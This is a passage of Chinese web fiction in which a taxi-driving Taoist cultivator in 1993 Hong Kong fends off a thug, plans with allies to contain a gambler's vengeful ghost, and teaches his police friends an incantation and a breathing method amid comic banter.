大B哥看看自己断臂,看看小弟手里的断臂,又看看拦车的老婆和靠在车边看戏、一脸“事不关己”还特别淡定的古德,尤其是古德那副“我就静静看着你们表演”的表情,顿时觉得面子挂不住了,一股邪火直冲脑门!
他指着古德,对黄毛小弟吼道:“妈的!先不管手了!给我**这个的士佬!敢碰我的女人!活腻了!”
那黄毛小弟也是个愣头青,老大发话,想都没想,“唰”地从腰间掏出一把**,啪地弹开刀刃,对着古德就叫嚣道:“扑街的士佬!连B嫂都敢动!今天给你放放血!”
说着就张牙舞爪地冲了过来!
古德无奈地叹了口气:“
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唉,真是人在车中坐,祸从天上来。我看着就这么像软柿子吗?”
眼看**刺到面前,古德眼神一冷,脚下步伐微微一错,轻松避开刀锋。
同时左手快如闪电,一记手刀精准地劈在黄毛小弟的手腕上!
“啊呀!”黄毛小弟惨叫一声,**脱手飞出,当啷一声掉在地上。
古德动作不停,右手握拳,但临到接触时化拳为掌,一记蕴含巧劲的“推山掌”印在黄毛小弟的胸口!
“嘭!”
黄毛小弟只觉得一股大力涌来,整个人如同被车撞了一样,双脚离地,倒飞出去两三米远,重重摔在地上,哼唧了半天爬不起来。
古德已经手下留情了,不然以他现在的体质和发力技巧,这一掌足以震碎对方内脏。
整个过程发生在电光火石之间!
大B哥和B嫂都看傻了,嘴巴张得能塞进鸡蛋。
他们没想到这个看起来斯斯文文、只是长得帅点的的士佬,身手这么厉害!
一招就解决了最能打的小弟?
大B哥看着古德淡漠的眼神,又看了看自己还在冒血的断臂,以及地上哼哼唧唧的小弟,满腔怒火瞬间被恐惧浇灭。
他艰难地咽了口唾沫,脸上挤出一个比哭还难看的、极其“和善”的笑容,语气一百八十度大转弯:
“靓…靓仔…功夫…功夫不错哈…误…误会!都是误会!哈哈…要不…要不我帮你再打她一顿给你出出气?”他指了指旁边的B嫂。
B嫂也瞬间变脸,捂着刚才被打的脸,连连点头,讨好地看着古德:“对对对!误会!大哥你打得好!打得对!我该打!我抗揍!您要是没消气,再…再打几下也行!”
古德看着这对活宝,一阵无语。
他摆了摆手,懒得跟他们纠缠:“行了,我没兴趣掺和你们的事。戏也看完了,麻烦你们让开,我要收工回家了。我很讲道理的,你们不惹我,我也懒得理你们。”
大B哥看了看自己手里的断臂,又看了看古德那辆红色的出租车,犹豫了一下,还是舔着脸哀求道:“靓仔…靓仔哥…你看…我这样…能不能行行好,搭我一程去医院?车费我出双倍!不!三倍!”
古德拉开车门,坐了进去,系好安全带,发动引擎,对着窗外摆了摆手:“自己另外叫车吧。再见,不,最好别再见了。”
说完,他按了下喇叭,示意他们让开。
大B哥和B嫂见古德态度坚决,不敢再拦,只能悻悻地让到一边。
古德一脚油门,出租车平稳地驶离了这是非之地。
他从后视镜里看到,车刚开走,那大B哥似乎又因为什么原因,抬手给了B嫂一巴掌,两人当街又吵吵嚷嚷起来。
古德松了口气,擦了擦并不存在的冷汗,嘀咕道:“真是晦气……差点就成了他们play的一环。还好跑得快……这都什么事啊!”
他摇摇头,将这些乱七八糟的抛在脑后,专心开车回家。
车子驶入阴阳路,周围的环境渐渐变得熟悉而安静。
就在他快要到家时,目光无意中扫过路边一栋看起来有些老旧的公寓楼,是阴阳路888号。
只见一个熟悉的身影,正独自站在楼下,仰着头,一动不动地盯着楼上某个窗户,神情专注,甚至带着一丝……凝重?
古德下意识轻踩刹车,出租车缓缓停在了那个熟人的身旁。
第69章 阴阳路5一见发财
古德缓缓将车停在路边,摇下车窗,对着那道站在阴阳路888号楼下、仰头凝望的熟悉身影打了个招呼:
“岚婆?这么晚了,您在这儿……看夜景呢?”
他语气带着点调侃,但眼神却认真起来。
岚婆这架势,可不像是饭后散步。
岚婆闻声低下头,看到是古德,脸上闪过一丝惊讶,随即又恢复了那副平静中带着些许忧色的表情,笑了笑:
“是德仔啊,收工了?上面啊……可不是什么好景致。是有个大家伙,最近不**分。怎么样,有没有兴趣?”
古德一听,眼里闪过一丝思索之色。
连岚婆都用大家伙来形容,是什么鬼物?
他立刻熄了火,拔掉钥匙,推门下车,走到岚婆身边。
他学着岚婆的样子,仰起头,眯着眼朝那栋略显陈旧的公寓楼望去。
夜幕深沉,楼体大部分窗户都漆黑一片,只有零星几户还亮着灯,看起来和普通的居民楼没什么区别。
“嗯……看着挺正常啊?岚婆,哪一户啊?”
古德看了半天,啥异常也没看出来,只好虚心求教。
岚婆抬手指了指四楼的一个窗户:“那,404。你再仔细看看。”
古德闻言,深吸一口气,体内那滴液态法力珠微微转动,一丝精纯的法力悄然涌向双眼。
嗡……
他眼中一抹极淡的金光一闪而逝,视野瞬间发生了变化!
只见四楼那扇原本看似普通的窗户,此刻在他眼中,正库库冒黑烟,不对....是冒阴气!
那阴气如同活物般扭曲、翻滚,带着强烈的怨毒、贪婪和一种被禁锢已久的疯狂气息,几乎将整个四楼的外墙都笼罩在一片无形的污秽阴影之下!
“嘶——!”古德倒吸一口凉气,下意识地后退了半步,感觉头皮都有些发麻!
“这……这阴气的浓度和怨念……绝对是厉鬼级别!岚婆,这什么来头?怎么凶成这样?”
岚婆叹了口气,浑浊的眼睛里闪过一丝幽光,缓缓道:“这里面啊,困着一个自作自受的家伙。他生前是个家大业大的富豪,可惜啊,染上了赌瘾,十赌九输,输红了眼,家产败光了,老婆带着孩子也跟人跑了。
他走投无路,就跑来这阴阳路,在这888号4楼404房,租了个最便宜的单间,躺在一个摇椅上服毒自尽了。”
“因为死前怨气太重,执念太深,死后直接就化成了恶鬼。但这地方……有点特殊,把他给困死在那间屋子里了,根本出不来。”
“可他死性不改啊,做鬼还想着翻本!他就靠着那股怨气,不断诱惑一些时运低、或者同样心存贪念的人租住进去,想找替身,帮他‘解脱’出去。
可惜啊,他命格特殊,那些被他害死的人,命格跟他合不上,**也白死,只能变成增强他怨气的养料,让他越来越凶,也越来越出不去,都已经变成厉鬼了。”
岚婆顿了顿,语气更加凝重:“但现在麻烦的是,前几天住进去的一个一家三口租客,男主人是个烂赌鬼,叫林中发。他的命格……偏偏跟里面那家伙契合得不得了!
两人简直是一拍即合!那厉鬼许诺帮他赌运亨通、大发横财,林中发就信了,居然跟那厉鬼签了契约!
他现在是靠厉鬼的怨气撑着在赌场赢钱,但代价就是……他的阳气、运气,甚至魂魄,都在被那厉鬼慢慢吞噬!
等他被吸干了,那厉鬼说不定真能借着这份‘契约’和同源的命格,打破禁锢,冲出这栋楼!到时候,就是猛鬼出笼,祸害无穷了!”
古德听着岚婆的叙述,眉头越皱越紧。
林中发?阴阳路5《一见发财》里的那个烂赌鬼主角?果然是他!
一想到电影里林中发那副为了赌可以出卖一切的样子,古德心里就涌起一股强烈的厌恶。
他平生最恨的就是赌和毒,沾上就家破人亡,害人害己。
“岚婆,”古德语气冷淡下来,“不是我不想帮。有道是‘良言难劝该死的鬼,慈悲不渡自绝人’。
林中发这种烂赌鬼,自己作死,跟厉鬼做交易,那是他自己选的路。**也是活该,清净人间。我懒得救,也没心情救。”
说着,他从随身挎包里摸出两张之前画好的护身符,递给岚婆:
“您要是担心他老婆孩子无辜受牵连,这两张符您拿着,找个机会交给她们,或者暗中贴在她们身上。能挡一次灾算一次。至于她们信不信,听不听劝,那就是她们的命数了。”
岚婆接过符箓,点了点头,也没强求古德去救林中发。
她活了多少年头,见过太多人性丑恶,明白有些人确实不值得救。
但她担心的显然是另一个问题:“林中发死不足惜。我主要是怕那厉鬼借他的身金蝉脱壳啊!
一旦让它跑出来,吸收了林中发全部的魂魄怨念,再加上它本身积攒了这么多年的道行,绝对会变成一头极其凶戾的猛鬼!到时候再想抓它,可就难如登天了!不知道又要害死多少人!”
古德闻言,神色也严肃起来。
岚婆的担心很有道理。除恶务尽,或者至少要把危险控制在最小范围,这才是稳妥的做法。
可问题是直接冲进去跟一个被困多年、怨气冲天的老牌厉鬼硬刚?
古德心里掂量了一下,尽管这段时间实力大涨,但硬拼的胜算依旧不高。
那种风险,说不定一着不慎就全军覆没。
他脑海里闪过电影的情节,那是林中发最后能和厉鬼同归于尽。
可细想下来,就这么一个烂赌鬼,真能有和厉鬼同归于尽的本事?
古德心里冷笑。
十有**是两人深度绑定,最后的“同归于尽”不过是被反噬罢了。
电
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影里林中发或许靠的是执念才能拉住那赌鬼不再去伤害他妻儿,可执念再强,也是条绳套脖子的锁链。
可能作为电影主角,多少给了点光环,但现实可没那么多戏剧性。
“所以不能赌剧情,得另想办法。”
他抬手摸着下巴,指尖摩挲着胡渣,脑子飞速转动。
忽然,他眼神一亮。
“硬刚不行……那就来点技术含量高的。”
古德嘴角微微翘起,“岚婆,既然那厉鬼现在还被困在屋里,主要靠诱惑林中发来完成契约。那我们能不能——釜底抽薪?”
岚婆的眼睛微微一眯,浑浊的瞳孔里闪过一丝光:“哦?怎么个抽法?”
“简单!”古德打了个响指,语气轻快,却透着狡黠,“让林中发没机会‘履行’契约不就行了?先找个由头,把他弄进去关几天!
警署那种地方,煞气重,规矩严,多少能隔绝点邪祟的影响。就算不能完全阻断契约,至少能大大延缓进程,给我们争取时间想办法对付那厉鬼本身!”
说到这里,他眼底闪烁着谋算的光芒。
“至于理由嘛……现成的!林中发不是烂赌吗?还赢了‘鬼财’?我让谢潮和周星星他们特别事务科出动,随便找个‘涉嫌非法**’、‘资金来源不明’或者‘扰乱社会治安’的理由,直接把他‘请’回警署‘协助调查’,关上48小时甚至更久!合理合法!”
夜风吹过,带来一阵铁皮招牌的“哐啷”声,仿佛也在附和这个主意。
现在93年,香江的政权还没完全崩溃,警署的威慑力和庇护力还在。
只要林中发在里头,那厉鬼就算有天大的本事,也得受点牵制。
岚婆听完,浑浊的眼睛亮了一下,赞许地点点头:“嗯!这法子好!迂回包抄,围点打援!既不用直接跟那厉鬼拼命,又能打断它的计划!德仔,你脑子转得挺快嘛!”
得到岚婆的肯定,古德也笑了笑:“那就这么定了。我明天就联系阿潮他们安排。至于他老婆孩子那边,就麻烦岚婆您多费心了。”
岚婆脸上露出笑容:“放心,那对母子老婆子我会看顾好的。那两张护身符算我欠你个人情,到时候折算阴德给你。”
古德摆摆手,大方地说:“岚婆您太客气了,两张符而已,小事一桩,谈什么欠不欠的。那没事的话,我先回去了?您也早点休息。”
“好,路上小心。”岚婆点点头。
古德转身上车,发动引擎,红色的出租车缓缓驶离了阴阳路888号,融入了夜色之中。
他双手握紧方向盘,心里却在暗暗盘算。
看来计划赶不上变化。
也许他的点数,需要做出一些改变了。
虽然这次事件没有钱赚,但是那么大一只厉鬼,说不定能给不少阴德,这样距离升级系统,就可以又进一步了。
第70章 谢潮看上金光咒了
第二天一早,天刚蒙蒙亮,古德家的大门就被“咚咚咚”地敲响了。
古德正好洗漱完毕,打着哈欠打开门,就看到谢潮和周星星两人精神抖擞地站在门口。
谢潮还是一身标志性的黑皮衣,手里提着一袋热气腾腾的早餐,肠粉、虾饺、烧麦的香味飘了出来。
周星星则是换了一身西装西裤,手里拎着一个看起来颇有分量的黑色手提箱,脸上带着点兴奋和好奇。
“德仔!早上好!给你带了早餐!”谢潮扬了扬手里的袋子,熟门熟路地挤了进来,仿佛回自己家一样。
周星星也跟着挤进来,献宝似的把手提箱放在桌上:
“德仔!这是你要的‘货’!这里面有当初那个红衣女鬼,还有我和阿潮这几天加班加点出外勤抓到的几个怨鬼,还有我们在街上‘捡’到的几个迷路小鬼都收拾妥当了!全在这儿!保证新鲜…呃,不是,保证都是全魂的!”
古德笑了笑,接过那个沉甸甸的手提箱,入手能感觉到一丝微弱的阴凉气息。
他点点头:“谢了。我会跟岚婆说的,阴德算你们一份,我会抽一部分作为介绍费。”
谢潮无所谓地摆摆手:“都给你也行,反正我们留着也没用,能帮到你就好。”
古德却摇摇头,认真道:“亲兄弟明算账。该是你的就是你的。”
他心里清楚,建立一个稳定、可持续的阴德供应链对他快速升级系统至关重要。
这就像岚婆把业务外包给他,他再分包给谢潮和周星星,层层抽成,但大家都有得赚,只是赚多赚少的问题。
当然,他不会像前世某些无良中间商那样抽得太狠。
这操作让他莫名想起了以前看过的一个新闻。
某个电影几千万特效大项目层层转包,最后落一个大学生身上,做了一个燃气灶…
不像他和岚婆都比较有良心。
谢潮见古德坚持,也就不再多说。
他了解古德的性格,知道在这类原则问题上,古德说一不二。
他自顾自地把早餐拿出来摆在桌上,招呼道:“行了,先吃早饭吧,边吃边聊。阿星,去厨房拿碗筷。”
周星星屁颠屁颠地跑进厨房,熟门熟路地拿出碗碟,反客为主得相当自然。
三人围坐在小茶几旁开始吃早餐。
古德夹起一个晶莹剔透的虾饺塞进嘴里,含糊不清地说道:
“今天找你们来,是有个‘业务’交给你们。需要你们…嗯,动用一下官方身份,‘请’个人回去协助调查几天。”
接着,他把阴阳路888号404房厉鬼以及烂赌鬼林中发的情况,详细跟两人说了一遍。
重点强调了让林中发继续留在那里的危险性,他本人死不足惜,主要是可能造成厉鬼出笼的严重后果。
“所以,最好的办法,就是找个合理的由头,把林中发弄进你们警署关上十天半个月。
警署那地方,煞气重,规矩严,多少能压制一下邪祟,隔绝那厉鬼的影响,给我们争取时间想办法彻底解决那个大家伙。”
古德最后总结道。
周星星一听,眼睛顿时亮了,眉飞色舞地拍着胸脯:
“抓人?这个我熟啊!放心交给我!保证办得漂漂亮亮!我找个师兄,就说他涉嫌非法聚赌、扰乱社会治安,先扣他48小时!再慢慢找证据,关他个十天半个月没问题!等我好消息!”
古德看着周星星那副“唯恐天下不乱”的兴奋劲儿,有点不放心,转头对谢潮叮嘱道:
“阿潮,你看着他点,别让他玩脱了。”
他真怕周星星一上头,搞出啥无厘头的事情。
谢潮沉稳地点点头:“明白,我会看着他的。合法合规,‘请’他回去喝咖啡。”
吃完早饭,古德擦了擦嘴,看着谢潮,正色道:
“阿潮,上次便利店那批鬼的阴德,岚婆那边结算了,都转给了我,那笔我就收下了。”
他顿了顿,继续说道:“作为补偿,我教你一门新法门吧。你想学什么?只要我会的,而且你现在条件能练的。”
谢潮本来想说不必计较那么清楚,但听到古德说要教他新法门,顿时把客气话咽了回去,两眼放光,几乎是秒回:
“我想学你上次那个!身上会冒金光的那个!”
他比划着,语气带着难得的急切和向往。
那晚古德浑身金光跟恶鬼对打的画面,给他留下了深刻印象。
古德
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一听就笑了,原来这小子是打【金光咒】的主意。
“金光咒是好东西啊,你眼光不错。”
他笑着靠在椅背上,语气不自觉地多了几分赞许,“道门八大神咒之一,护身辟邪、降魔卫道、性命双修,几乎是所有修行人梦寐以求的本命法术。”
古德先肯定了谢潮的眼光,但随即话锋一转,给他打预防针,“但是,这法门门槛虽然不高,但对法力修为的要求极高。”
他微微抬手,比了个“灯泡”的手势:“以你现在这点微末道行,就算学会了口诀和手印,估计连一丝金光都逼不出来,更别说覆盖全身了。就像……嗯,就像灯泡,你没有电,亮不起来。””
他看着谢潮有些失望的表情,又补充道:“不过,提前学也有好处。金光咒的修炼本身就是一个凝练法力、锤炼心神的过程。
你就算暂时用不出来,平时多练习诵持、运转相关气脉,也能加速你法力的积累和提纯,对你修炼呼吸法大有裨益。等以后你法力深厚了,自然就能发光了。”
说到这里,他嘴角一勾,露出一抹古怪的笑容:“骚年,你要相信光。”
谢潮听完,只是犹豫了一秒钟,就重重点头:
“那我学!就算现在用不了,也能打基础!我相信总有一天我能练成!”
这一刻,谢潮的眼神里燃起了一种近乎执念的光。
至于古德为什么对能用金光咒修行这事毫不在意,那是因为他根本不用靠这些需要积累的修炼方式。
古德只要开车累积公里点数,到时候直接找系统加点法力就好。
毕竟,从他获得系统到现在不过一个多月,修为就已经翻天覆地,进境速度比灵气还没有断绝时候,那些苦修几年的修行人还夸张。
他根本不需要像谢潮一样一步步“搬砖”积累,也能打下最稳固的根基。
旁边的周星星听得口水都快流出来了,整个人坐立难安,眼里满是羡慕。
他猛地放下筷子,“噗通”一声就滑跪到古德腿边,一把抱住古德的大腿,声情并茂地喊道:
“义父!我也想修行!教教我吧!我以后给你当牛做马!端茶送水!抓鬼顶缸!义父——!”
第71章 同行路上的伙伴又多一人
古德被他这突如其来的骚操作搞得哭笑不得,用力抖了抖腿,没想到周星星抱得死紧,跟个树袋熊似的。
“行了行了!起来!像什么样子!”
古德无奈道,“我本来就打算教你【基础呼吸法】的。只要你保证,未经我允许,绝不外传就行。”
周星星一听,立刻松开手,噌地一下站起来,举起三根手指,一脸严肃地对天发誓:
“我周星星对天发誓!今日所学呼吸法,绝不外传!如有违背,就让我…就让我天天出门踩狗屎!吃泡面没有调料包!
最重要的是,以后义父让我往东,我绝不往西!让我抓狗,我绝不撵鸡!如有违背,肠穿肚烂,不得好死!”
“……”
古德一脸黑线,沉默了三秒:“……倒也不用发这么毒的誓。”
这一个两个的,都什么毛病?
古德让谢潮盘膝坐好,背脊挺直,双手自然搭在膝上。
“先宁心静气。”古德叮嘱道,“心不静,咒不显。心若乱,气就乱,气乱则神不聚。”
谢潮深吸一口气,缓缓吐出,尽力让自己的情绪沉淀下来。
他闭上眼,感受着屋外风声穿过窗户的“呼——”声,连胸口的起伏都逐渐平缓。
古德也盘膝坐在他对面,面色肃然,气场一下子变得不同寻常。
先前玩笑般的语气已消失不见。
“金光神咒,重在‘金光’二字,金光即是道炁,亦是心光。修持此咒,须心存正念,身具正气,以自身法力为引,沟通天地浩然之炁,化显为金光,护持己身,破邪显正。”
他先详细讲解了金光咒的核心要义与修行禁忌:切忌妄念横生、切忌急于求成、切忌气走偏门。
待谢潮完全理解之后,古德才开始传授真正的咒文。
“天地玄宗,万炁本根。广修亿劫,证吾神通。三界内外,惟道独尊。体有金光,覆映吾身……”
他语速缓慢,确保谢潮能听清并记住每一个字。
同时,他双手缓慢而清晰地演示着与之配套的“金光指诀”,手指的掐捏、翻转、贴合,每一个细节都细致讲解。
“注意呼吸的配合。”
古德提醒道,声音中透着一丝厚重,“吸气时,存想天地正气自头顶百会而入;呼气时,观想金光自丹田而生,流转周身。意念至关重要......念到、气到、力到,金光方能显现。”
古德讲得很仔细,谢潮也听得极其专注,眼神灼灼,努力记忆和模仿着每一个细节。
虽然他知道自己现在法力微弱,根本无法实践,但先将理论和方法牢牢记在心里,已是巨大的收获。
“记住,金光不是念出来的,是你‘变’出来的。”
古德最后叮嘱,“心正则光生,心偏则无。”
……
教完谢潮的部分后,古德转过头,看向一旁早已坐得屁股发麻、整个人都快蹦起来的周星星。
“阿星,我知道你急,但你先别急。”古德瞥了他一眼,语气带着点无奈。
“急啥啊?我已经准备好了!”周星星两眼放光,差点直接扑过来。
“准备好了也不行。”
古德伸手按住他的肩膀,示意他坐回原位。
“你先盘腿坐好,别吊儿郎当的。呼吸法,是万法之根。练的不是喘气,而是最本源的一口气......这口气练好了,强身健体,精神饱满。以后无论学什么,都事半功倍。”
周星星乖乖盘腿坐下,嘴上还小声嘀咕:“就呼吸嘛,有啥难的……”
“所谓呼吸,不是简单的喘气。”
古德淡淡地道,“一呼一吸,暗合阴阳升降,天地流转。你要学会用意
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念引气,而不是光让肺在那机械地鼓动。”
说着,他缓缓示范起最基础的呼吸节奏和意念引导。气息自鼻入,沿任脉缓缓下行,归于丹田,再由丹田升起,循督脉而上,周而复始。
“注意,舌尖轻抵上颚……对,就这样……呼吸要深、长、细、匀,不要急促……”
周星星虽然性格跳脱,但此刻也学得异常认真,努力控制着自己的呼吸,小腹随着呼吸微微起伏,只是憋气太久,他的脸都有点涨红,但眼神却越发明亮......像个终于找到了感觉的初学者。
作为一部电影里的主角,周星星的确有过人的悟性。
古德耐心地纠正着他的细节错误,确保他打下正确的基础。
花了将近一个小时,总算让两人都初步掌握了要领,后续只要多多练习就好。
古德的嗓子略有些干,终于放下手,舒了一口气,感觉比和恶鬼斗法还累。
“好了,今天就到这里。”
他揉了揉脖子,语气放缓,“回去后自己多加练习。尤其是你,阿星!呼吸法贵在坚持,每天至少练一个小时,慢慢体会气感。有什么不明白的,随时问我。”
他站起身,再次叮嘱道:“别忘了正事,林中发那边,尽快搞定。”
谢潮和周星星都郑重地点了点头。
三人一起出门。
谢潮很自然地说道:“德仔,送我们一段吧。”
古德爽快答应:“行啊。”
拉开车门,坐进驾驶位,习惯性地“啪”一声按下了计价器。
站在车外的谢潮和周星星看到那跳动的红色数字,嘴角同时抽搐了一下,互相对视一眼,无奈地笑了笑。
“习惯了,习惯了……”
“对,德仔的友情,总是按米收费。”
两人摇摇头,拉开车门坐了进去。
第72章 关于谢潮的八卦
红色的出租车平稳地行驶在清晨的街道上,车窗外是九十年代香江特有的繁忙景象。
双层巴士、小巴、私家车汇成车流,路边行人匆匆,霓虹灯招牌在晨光中略显黯淡。
车内的气氛却和外面截然不同。
周星星不安分地从后排探过身子,脑袋硬是挤进了驾驶座和副驾驶之间,眼神闪烁,声音神秘兮兮地压低:
“德仔,开慢点开慢点,我跟你说个事儿!关于阿潮的,劲爆哦!”
古德挑了挑眉,嘴角露出一丝兴趣盎然的弧度,脚下轻轻松了松油门,让车速降下来一些:
“哦?阿潮怎么了?说得这么玄乎?什么劲爆的事儿?”
“嘿嘿~~”周星星一副八卦上身的样子,整个人都精神了起来,他声音压得更低.
“阿潮最近可奇怪了,没事就喜欢一个人去坐公交车。你说他要去哪不打的士,非得坐那种慢得要死的巴士,是不是有点不对劲?”
他一边说一边比划着手势,越说越投入:
“而且就在前天!我们不是去收拾那个躲在公屋楼梯间,专门吓人的调皮小鬼嘛?完事的时候我不小心被消防栓划了一下手背,就破了点皮,流了两滴血.....真的,就两滴!连我早上刮胡子不小心划到的都比这严重!”
“然后你猜怎么着?阿潮那家伙看到后,脸都变了,二话不说直接拉着我,风风火火地往医院冲!我说没事他都不听,非得给我挂急诊,还要求医生给我——住!院!观!察!”
周星星双手一摊,脸上的表情夸张得像在讲鬼故事:“我那点小口子,路上都快自己结痂了啊!医生看我的眼神,活像在看一个头脑不太正常的人。”
说到这,他故意停顿了一下,抿嘴坏笑:“但是——你猜,我在医院里看到什么了?”
古德很配合地当起捧哏,一边盯着前方的路况,一边装出好奇的样子:
“看到什么?难道医院里有美女医生?”
“比美女医生还劲爆!”
周星星眉飞色舞,声音都扬高了几分,“我看到阿潮他……他跟一个超级漂亮、笑起来有酒窝的女护士,在走廊角落里……聊得可热乎了!
阿潮那家伙,平时对我们冷冰冰的,跟个冰块似的,居然会对人家女孩子笑得那么……那么……哎呀!”
他话还没说完,一只穿着皮靴的脚就从旁边毫不客气地踹了过来,精准地轻轻蹬在他的肩膀上,把他整个人推回了后座。
“闭嘴吧你!八婆星!”
谢潮脸一黑,恶狠狠地骂了一句,“什么事到你嘴里都能变味!再胡说八道信不信下次任务让你去对付‘食屎鬼’?”
他嘴上这么说,耳根却以肉眼可见的速度“唰”地红了个彻底,就连脖子那一截都透出粉色,眼神也有些飘忽,不敢直视前方。。
“嘿嘿嘿嘿——”周星星被踹回去也不恼,反而抱着肩膀笑得更开心了,“我说中了吧?我就说嘛,咱们阿潮,春天来了!”
古德透过后视镜瞥了一眼谢潮,发现这家伙平时又冷又酷的脸此刻竟然真的有点红温了,忍不住笑着调侃道:
“哇,阿星你快看,某人的脸快能煎鸡蛋了!没想到阿潮也有今天啊!”
“你们别瞎说!”
谢潮咬着牙反驳,声音却有些发虚,“我就是……就是正常地咨询一下破伤风疫苗的注意事项!顺便聊了几句天气!很正常的人际交往!对!就是这样!”
古德眉头一挑,拉长了语调:“哦~~~咨询注意事项啊~~~还聊天气啊~~~很~正~常~嘛~~~”
他语气里的调侃意味浓得都快溢出来了,“阿潮你惨了,你坠入爱河了。”
谢潮张了张嘴,似乎想反驳,但最终什么也没说出来。
他只是扭过头,看向窗外飞速掠过的街景,眼神有些放空,嘴角却在不经意间微微勾起一丝难以察觉的弧度,仿佛陷入了某种美好的回忆之中。
古德看着他那副样子,嘴角也微微扬起,心里为他感到高兴。
看来谢潮这家伙,终于遇到了他命中的那个女孩,而且这次,他不再像以前那样,因为自己特殊的体质而刻意回避、害怕会给对方带来不幸了。
这是一种积极的转变。
接着,古德忽然想起一件正事,表情稍微严肃了一些,对谢潮说道:
“阿潮,谈恋爱是好事,我支持你。不过作为兄弟,有件事得提醒你一下,尽量hold住,别太早破了童子身。”
“噗——!”后座的周星星直接喷了。
谢潮猛地转回头,整张脸瞬间爆红,像是要滴出血来,又羞又恼:
“德仔!你…你胡说八道什么啊!我们才刚认识!连手都没牵过!”
古德的这句零帧起手的话杀得他措手不及,脑子几乎当场短路。
谢潮甚至有种想扑过去直接捂住古德嘴巴的冲动。
这要是让人听见,还不得以为他是个满脑子想那种事的色胚!
古德嘴角勾起一抹坏笑,很正经的解释道:“别激动,我是说正经的。元阳未泄,体内先天一气比较足,修炼起来事半功倍,更容易炼出法力。”
“要是实在……嗯……情到深处难以自持,也至少等你真正炼出法力、打下根基之后再说。不然一旦元阳一泄,体内气机就会散得厉害,修炼的阻力大得多,进度自然就慢。”
古德顿了顿,又补充道:“当然,等你有了法力根基之后,这种影响就没那么明显了,顶多比保持童子身修炼稍慢一点点。”
这并不是无的放矢,而是他在给呼吸法加点之后,从系统的信息流里得到的修炼提示。
出于兄弟情分,他也不希望谢潮因为这点小事而耽误了进境。
谢潮听完,脸上的红晕稍微褪去一些,虽然还是有点尴尬,但也认真地点了点
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头,把这话记在了心里。
对他而言,力量的重要性不言而喻,这番话他记在了心里。
谢潮旁边的周星星却像是发现了新大陆,猛地怪叫一声:
“哇!还有这种说法?!那我岂不是……天生修炼奇才?!哈哈哈!没想到我守身如玉二十多年,竟然守对了!”
古德:“……”
他手一抖,方向盘差点打滑。
谢潮也被这一声“奇才”转过头,用一种完全无法置信的眼神盯着后座的周星星,就像第一次认识他一样:
“阿星?!你…你跟你那个女朋友阿敏谈了那么久?!你们……你们居然……还是雏?!”
这简直颠覆了他对周星星“**贱”外表下的认知。
周星星却一点也不在意,反而像是听到了全世界最值得骄傲的事,神气十足地挺起胸膛:
“那是当然!我周星星可是很传统的好男人!我要把最珍贵的一次,留到人生最重要的那一刻,那就我的新婚之夜!怎么样?是不是很浪漫?很专一?”
他一副“快夸我”的表情。
古德在后视镜和谢潮对视一眼,两人脸上同时露出一种混合着震惊、敬佩、以及一点点“这傻子居然真能做到”的复杂表情。
沉默了几秒后,两人非常有默契地,同时向周星星竖起了一个大拇指。
古德:“……你牛逼。”
谢潮:“……佩服。”
周星星看到两人的反应,更加得意了,在后座叉腰仰天大笑:
“哈哈哈!那是!我是谁?我可是情圣周星星啊!哈哈哈哈!”
车内在一种诡异又欢乐的气氛中,抵达了警署。
古德把车停在路边,再次叮嘱两人:
“好了,到地方了。别光顾着傻乐和谈恋爱,正事别忘了,林中发那边,抓紧时间搞定。”
谢潮比了个OK的手势,表情恢复了平时的冷静:“放心,今天之内就把他‘请’回来喝咖啡。”
周星星也拍着胸脯保证:“包在我身上!保证让他享受到VIP级别的拘留室单间待遇!”
看着两人下车走进警署,古德才摇摇头,笑了笑,一脚油门,出租车再次汇入车流。
接下来的一天,似乎风平浪静。
古德开着车,穿梭在城市的大街小巷,听着电台里的老歌,偶尔和乘客聊上几句。
他今天特意多绕了几段路,看着计价器上跳动的数字和系统里缓慢增长的公里点数,心里盘算着接下来的加点计划。
傍晚时分,华灯初上。
古德在一个红绿灯路口停下,等待漫长的红灯。
这时,旁边车道也缓缓停下一辆同样款式的红色的士。
驾驶的车窗摇下,一张极具辨识度、酷似明星狄隆的脸探了出来,对着古德这边喊道:“喂!阿德!德仔!”
古德闻声转头,认出是相熟的一个的士老司机,大家都叫他“豪哥”。
第73章 **求助
豪哥对着古德大声道:“德仔!大海找你一下午了!打你Call机都没回!好像挺急的!你是不是又没带Call机啊?”
古德一愣,下意识摸向腰间,空空如也。
这才想起来,早上出门换衣服,那个笨重的汉显BB机忘在床头柜上了。
怪不得今天总觉得缺了什么。
原来是缺少了那个bbb的声音。
“哎呀,还真忘了带了。豪哥,知道大海哥找我什么事吗?”
豪哥摇摇头:“那倒没说,就让我们要是看到你,赶紧让你联系他。看你这样,估计也没带电话。要不我帮你回个传呼给他?”
古德想了想,**是他关系不错的同行前辈,之前也很照顾他,这么急着找自己,肯定是有事。
他对着豪哥喊道:“谢了豪哥!麻烦你帮我给大海哥回个传呼,就说我收到了,我现在去陈氏兄妹茶餐厅等他,让他直接去那边找我吧!”
“行!没问题!你自己开车小心!”
豪哥爽快地答应一声,挥了挥手,绿灯亮起,他的车先一步开了出去。
古德看着豪哥那辆出租车汇入车流,内心毫无波动。
这段时间,他在街上看到明星脸都不止一个两个了,都是平平无奇的大众脸(狗头),早就免疫了。
左转绿灯亮起,古德熟练地一打方向盘,出租车左转,朝着“陈氏兄妹茶餐厅”的方向驶去。
他心里有些嘀咕:大海哥这么急着找我,到底什么事呢?
.......
陈氏兄妹茶餐厅里灯火通明,人声鼎沸,正是晚市最热闹的时候。
炒菜的镬气、烧腊的香气、食客的谈笑声混杂在一起,充满了市井的烟火气。
古德坐在靠窗的一个卡座里,面前摆着一碟油光锃亮的蜜汁叉烧饭和一杯冻柠茶。
他刚扒拉了几口饭,饿了一天的胃总算得到了些许慰藉。
阿秀正忙着招呼其他客人,路过古德时还热情地打了个招呼:“古哥,今天这么晚才食饭啊?慢慢食,唔使急(不用急)!”
古德笑着点了点头,刚夹起一块肥瘦相间的叉烧准备送入口中,餐厅的玻璃门就被人“哐当”一声猛地推开!
一个身影风风火火地冲了进来,满头大汗,神色慌张,正是发型潦草的**。
他目光急切地扫视餐厅,一眼就锁定了窗边的古德,立刻像看到救星一样扑了过来,一把抓住古德的手臂。
“德仔!哎呀!总算找到你了!救命啊!快!快跟我走!”
**语气急促,声音都带着点颤抖,显然急得不行。
古德被他吓了一跳,差点噎住,赶紧把嘴里的饭咽下去,又灌了一大口冻柠茶顺了顺,才无奈道:
“大海哥?咩事啊(什么事啊)?这么急?天塌下来也得让我先把饭吃完吧?我饿一天了。”
